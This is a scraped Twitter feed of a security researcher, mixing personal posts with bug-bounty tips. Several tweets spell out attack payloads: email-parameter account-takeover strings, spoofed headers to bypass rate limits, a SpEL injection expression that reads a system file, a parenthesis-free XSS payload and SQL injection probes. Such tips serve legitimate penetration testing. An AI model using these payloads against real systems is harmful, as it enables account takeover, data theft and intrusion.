@SpiderSec

- Suvadip Kar

 Down to Earth
spidersec.ninja
Joined December 2016
  • Tweets329
  • Following90
  • Followers5.5K
83Media
HTTP Request Smuggling in one Screenshot. 🙂
13
663
13
1,521
If you’re around for Black Hat Asia Singapore ( April 1-4 ), let’s catch up!
1
676
⚙️ A lesser known tool, Osmedeus is the closest to Nuclei, that comes with an amazing web UI. You can use custom YAML workflows and vulnerability signatures just like Nuclei. 🔗 github.com/j3ssie/Osmedeus #bugbounty #bugbountytips #infosec #cybersecurity #Pentesting
3
54
138
Nice one!
Siddhesh Parab@sidxparab3 Dec 2021
Just Updated my Subdomain Enumeration Guide with new techniques, fixes, etc. Have a look 😊 Boost your Recon game !!🚀🚀 sidxparab.gitbook.io/subdoma… #bugbounty #infosec
4
11
spidersec retweeted
Nate@nnwakelam15 Nov 2021
github.com/jmdx/TLS-poison/ This is fucking bananas and I can't believe I missed it.

GitHub - jmdx/TLS-poison

Contribute to jmdx/TLS-poison development by creating an account on GitHub.

github.com
3
77
1
268
hashcat -w 4
47
103
27
890
Exploiting Redis Through SSRF Attack infosecwriteups.com/exploiti…

Exploiting Redis Through SSRF Attack

Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database…

infosecwriteups.com
1
95
1
233
Just created a working POC for CVE-2021-40444 with folks @EG_CERT
4
29
129
Our Pre-Auth RCE exploit for Atlassian Confluence (CVE-2021–26084) was leaked after reporting it to @VMware. They have refused to admit the leak and ignored our emails. tradahacking.vn/atlassian-co…
25
383
41
951
Hard work, new car 🙂🧘
11
163
spidersec retweeted
CySuite@CySuite_21 Aug 2021
Yet another Account Takeover technique. Seperator: email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com Array: {"email":["victim@mail.com","hacker@mail.com"]} Follow for more #infosec updates and #bugbountytips
155
1
305
Rate Limiting Bypass : (429 Too many Requests) Append the headers to a request where the server is responding with 429 Client-Ip: IP -> 200 X-Client-Ip: IP -> 200 X-Forwarded-For: IP -> 200 X-Forwarded-For: 127.0.0.1, IP -> 200 IP = Random IP Address that you want to spoof 🙂
8
105
2
324
This is mostly effective on : "Ip Based Rate Limiting"
1
6
If ip based rate Limiting is implemented, you can block a legitimate user from accessing the website Client-Ip: Victim-Ip-Address -> 500 request -> Blocked
8
Rick and morty 1000 years.
6
3
74
My grandfather, The late Dhananjay kar spent 14 years of his life in cellular Jail, infamously known as kalapani. The freedom of india didn't came so easily, we "the new generation" will never understand the struggle behind it. #IndependenceDay #IndiaAt75 #स्वतंत्रतादिवस
12
6
1
132
Happy independence day 🙌🏼
1
26
spidersec retweeted
Peter M@pmnh_12 Aug 2021
If you can get SpEL injection but can't get RCE, try exfiltrating a file with B64 encoding: T(java.util.Base64).getEncoder().encodeToString(T(org.apache.commons.io.FileUtils).readFileToString('/proc/self/cmdline').getBytes())
10
39
spidersec retweeted
Brute
@BRuteLogic11 Aug 2021
JS Payload w/o Parentheses #XSS [].pop.constructor`alert\x281\x29``` brutelogic.com.br/gym.php?p0…
2
63
3
193
spidersec retweeted
Sapra@0xsapra23 Apr 2020
This is how I found sql-Injection 100% of the time For site.com/?q=HERE /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' #bugbounty #BugBountyTips
13
666
12
1,613
Load more